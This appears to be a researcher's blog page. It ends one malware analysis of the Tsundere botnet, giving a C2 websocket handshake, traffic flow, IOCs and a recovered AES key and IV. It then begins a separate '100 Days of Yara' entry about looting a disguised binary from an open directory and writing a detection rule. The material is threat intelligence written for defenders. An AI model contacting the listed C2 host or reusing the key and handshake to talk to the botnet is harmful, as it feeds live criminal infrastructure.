└── [THIRD LOCALE CHECK]
DNS Query to one of the Ethereum Wallet Endpoints
DNS Query to a second Ethereum Wallet Endpoint
Shodan
Example of the Websocket Handshake Get Request:
CLIENT REQUEST:
— — — — — — — -
GET / HTTP/1.1
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: gcG7wVAmx5B2IhtwTdv9WQ==
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Host: 193.24.123.68:3011
Traffic Flow Summary:
13808 551.95 →C2 227 WebSocket handshake request
13815 552.12 ←C2 129 101 Switching Protocols
13816 552.12 ←C2 34 AES-256 Key (binary)
13818 552.13 →C2 6 ACK
13822 552.29 ←C2 18 AES IV (binary)
13923 553.41 →C2 520 Encrypted victim fingerprint
13997 553.63 ←C2 50 Encrypted ack: “Connected”
IOCs
Network:
193.24.123.68:3011 (WebSocket C2)
rpc.flashbots.net (Ethereum RPC)
rpc.mevblocker.io (Ethereum RPC)
eth.llamarpc.com (Ethereum RPC)
eth.merkle.io (Ethereum RPC)
eth.drpc.org (Ethereum RPC)
Also, these are all new IOC’s compared to the Kaspersky report:
Encryption
AES Key: e5f4e1b5d1065b0ecd6b3ef972d451e1c63ecd8da4d73b82cf429d70d13d166f
AES IV: 4e3d21a0941bb92632c4997fd4a582b1
Thank you! Critque welcome and appreciated!
August Vansickle
Twitter: @LunchM0n3ey9090
Linkedin: August Vansickle | LinkedIn
References:
The Tsundere botnet uses the Ethereum blockchain to infect its targets | Securelist
100 Days of Yara - Day 15 2025
It all begins with an idea.
Day 15
#100DaysOfYara Day 15
So today, I went hunting on my own through open dir’s to find some spicy binaries.
Heres a resource to learn about open dir hunting using censysy: https://censys.com/a-beginners-guide-to-hunting-open-directories/
The one I looted from, I grabbed a file called excel-https.exe. Part of the reason that interested me, is that file naming convention is typical of C2 implants, esp for ex, Cobalt Strike.
The binary was a PE32, had a lot of socket calls, and functionality, it had metadata that indicated it was an Apache tool used for load testing — ApacheBench: https://censys.com/a-beginners-guide-to-hunting-open-directories/
So I almost gave up, but there were calls for retrieving process ID’s, getting handles on processes, etc and Apache Bench is only testing web apps for load.
and, there was a hardcoded IP, which I visited and is the open dir I found in the first place.
So heres my Rule:
https://github.com/augustvansickle/2025_100DaysofYara/blob/76aaaa87796ef90fc5b3b8dba665c6b539a9d68e/Day15_OpenDir_HTTP_Beacon_PE.yar